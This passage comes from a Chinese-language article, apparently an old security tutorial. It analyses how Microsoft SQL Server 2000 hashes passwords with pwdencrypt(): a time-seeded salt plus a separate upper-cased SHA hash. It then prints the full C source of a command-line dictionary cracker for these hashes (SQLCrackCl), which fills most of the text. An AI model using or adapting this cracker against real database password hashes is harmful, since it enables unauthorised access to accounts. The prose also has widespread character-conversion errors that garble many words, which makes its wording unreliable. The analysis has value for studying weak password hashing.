生成hash
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
A19EFE77
ok再一次 select pwdencrypt('ph4nt0m')
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
BB106CFB
咱們注意到,雖然兩次咱們加密的字符串都是ph4nt0m可是生成的hash卻不同。
那麼是什麼使兩次hash的結果不同呢,咱們大膽的推測是時間在這裏面起到了關鍵的做用,
它是建立密碼hashes和儲存hashes的重要因素。之因此使用這樣的方式,
是由於當兩我的輸入一樣的密碼時能夠以此產生不一樣的密碼hashes用來掩飾他們的密碼是相同的。
2.大小寫(廣告時間:英漢網絡技術詞彙這本字典好,翻譯的時候不少金山詞霸找不到的東西,它
都能弄出來)
使用查詢
select pwdencrypt('ALLYESNO')
咱們將獲得hash
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
經過觀察,咱們能夠發現這段hash中有兩段是相同的,若是你不能立刻看出來,讓咱們把它截斷來
看。
0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)
如今咱們能夠看出來最後兩組字符串是如出一轍的了。這說明這段密碼被相同的加密方式進行了兩
次加密。一組是按照字符原型進行加密,另外一組是按照字符的大寫形式進行了加密。當有人嘗試破
解SQL密碼的時候將會比他預期要容易,這是一個糟糕的加密方式。由於破解密碼的人不須要理會字
符原型是大寫仍是小寫,他們只須要破解大寫字符就能夠了。這將大大減小了破解密碼者所須要破
解密碼的字符數量。(allyesno:flashsky的文章《淺談SQL SERVER數據庫口令的脆弱性》中曾經算法
提到「如由於其算法同樣,若是HASH1=HASH2,就能夠判斷口令確定是未使用字母,只使用了數字和
符號的口令」。實際上並不如flashsky所說的徹底相同,咱們使用了select pwdencrypt()進行加密
之後就能夠發現使用了數字和符號和大寫字母的密碼其hash1和hash2都會相同,因此這是flashsky
文章中一個小小的bug)
補充key
根據上文所述,當時間改變的時候也會使得hash改變,在hash中有一些跟時間有關係的信息使得密
碼的hashes不相同,這些信息是很容易獲取的。當咱們登陸的時候依靠從登陸密碼中和數據庫中儲
存的hash信息,就能夠作一個比較從而分析出這部分信息,咱們能夠把這部分信息叫作補充key。
上文中咱們獲取的hash中,補充key 4C61CD2D 就是這個信息的一部分。
這個key 4C61CD2D 由如下闡述的方法生成。
time()C 函數被調用做爲一個種子傳遞給srand()函數。一旦srand()函數被做爲rand()函數的種子
而且被調用生成僞隨機key,srand()就會設置了一個起點產生一系列的(僞)隨機key。而後sql
服務器會將這個key截斷取一部分,放置在內存裏面。咱們叫它key1。這個過程將會再運行一次並
生成另外一個key咱們叫他key2。兩個key連在一塊兒就生成了咱們用來加密密碼的補充key。
密碼的散列法
用戶的密碼會被轉換成UNICODE形式。補充key會添加到他們後面。例如如下所示:
{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串將會被sql服務器使用pwdencrypt()函數進行加密(這個函數位於advapi32.dll)。生
成兩個hash
0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)
驗證過程
用戶登陸SQL服務器的驗證過程是這樣子的:當用戶登錄的時候,SQL服務器在數據庫中調用上面例
sql
子中的補充key4C61CD2D,將其附加在字符串「ALLYESNO」的後面,而後使用pwdencrypt()函數進行加
密。而後把生成的hash跟數據庫內的hash進行對比,以此來驗證用戶輸入的密碼是否正確。
SQL服務器密碼破解
咱們可使用一樣的方式去破解SQL的密碼。固然咱們會首先選擇使用大寫字母和符號作爲字典進行
破解,這比猜想小寫字母要來得容易。
一個命令行的MSSQL服務器HASH破解工具源代碼 shell
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}數據庫